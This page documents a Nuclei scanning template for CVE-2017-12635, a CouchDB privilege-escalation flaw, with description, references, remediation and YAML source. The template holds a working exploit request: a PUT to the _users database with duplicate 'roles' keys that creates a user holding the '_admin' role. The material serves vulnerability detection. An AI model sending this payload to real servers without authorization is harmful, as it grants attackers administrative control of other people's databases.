Apache CouchDB 1.7.0 / 2.x < 2.1.1 - Remote Privilege Escalation
ID: CVE-2017-12635
Severity: critical
Author: pikpikcu
Tags: cve2017,cve,couchdb,apache,intrusive
Description
Section titled “Description”Due to differences in the Erlang-based JSON parser and JavaScript-based JSON parser, it is possible in Apache CouchDB before 1.7.0 and 2.x before 2.1.1 to submit _users documents with duplicate keysfor ‘roles’ used for access control within the database, including the special case ‘_admin’ role, that denotes administrative users. In combination with CVE-2017-12636 (Remote Code Execution), this can be used to give non-admin users access to arbitrary shell commands on the server as the database system user. The JSON parser differences result in behavior that if two ‘roles’ keys are available in the JSON, the second one will be used for authorizing the document write, but the first ‘roles’ key is used for subsequent authorization for the newly created user. By design, users can not assign themselves roles. The vulnerability allows non-admin users to give themselves admin privileges.
YAML Source
Section titled “YAML Source”id: CVE-2017-12635
info: name: Apache CouchDB 1.7.0 / 2.x < 2.1.1 - Remote Privilege Escalation author: pikpikcu severity: critical description: Due to differences in the Erlang-based JSON parser and JavaScript-based JSON parser, it is possible in Apache CouchDB before 1.7.0 and 2.x before 2.1.1 to submit _users documents with duplicate keysfor 'roles' used for access control within the database, including the special case '_admin' role, that denotes administrative users. In combination with CVE-2017-12636 (Remote Code Execution), this can be used to give non-admin users access to arbitrary shell commands on the server as the database system user. The JSON parser differences result in behavior that if two 'roles' keys are available in the JSON, the second one will be used for authorizing the document write, but the first 'roles' key is used for subsequent authorization for the newly created user. By design, users can not assign themselves roles. The vulnerability allows non-admin users to give themselves admin privileges. impact: | Remote attackers can exploit this vulnerability to escalate privileges. remediation: | Upgrade Apache CouchDB to version 2.1.1 or later. reference: - https://nvd.nist.gov/vuln/detail/CVE-2017-12635 - https://lists.apache.org/thread.html/6c405bf3f8358e6314076be9f48c89a2e0ddf00539906291ebdf0c67@%3Cdev.couchdb.apache.org%3E - https://security.gentoo.org/glsa/201711-16 - https://lists.debian.org/debian-lts-announce/2018/01/msg00026.html - https://support.hpe.com/hpsc/doc/public/display?docLocale=en_US&docId=emr_na-hpesbmu03935en_us classification: cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H cvss-score: 9.8 cve-id: CVE-2017-12635 cwe-id: CWE-269 epss-score: 0.97392 epss-percentile: 0.99913 cpe: cpe:2.3:a:apache:couchdb:*:*:*:*:*:*:*:* metadata: max-request: 1 vendor: apache product: couchdb shodan-query: - product:"couchdb" - cpe:"cpe:2.3:a:apache:couchdb" tags: cve2017,cve,couchdb,apache,intrusive
http: - raw: - | PUT /_users/org.couchdb.user:poc HTTP/1.1 Host: {{Hostname}} Accept: application/json
{ "type": "user", "name": "poc", "roles": ["_admin"], "roles": [], "password": "123456" }
matchers-condition: and matchers: - type: word part: header words: - application/json - "Location:"
- type: word part: body words: - org.couchdb.user:poc - conflict - Document update conflict
- type: status status: - 201 - 409# digest: 4b0a00483046022100ecc7801aac2035bcf8205e57476a150ae866f647adf6023dff47c900362e4f2a022100b38cf9a9c34dfc8b38997537692bdcb348f3eb463c293e288631f371307ed986:922c64590222798bb761d5b6d8e72950Guide to check the vulnerabilities
Section titled “Guide to check the vulnerabilities”This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.
$ nuclei -u "URL" -t "http/cves/2017/CVE-2017-12635.yaml"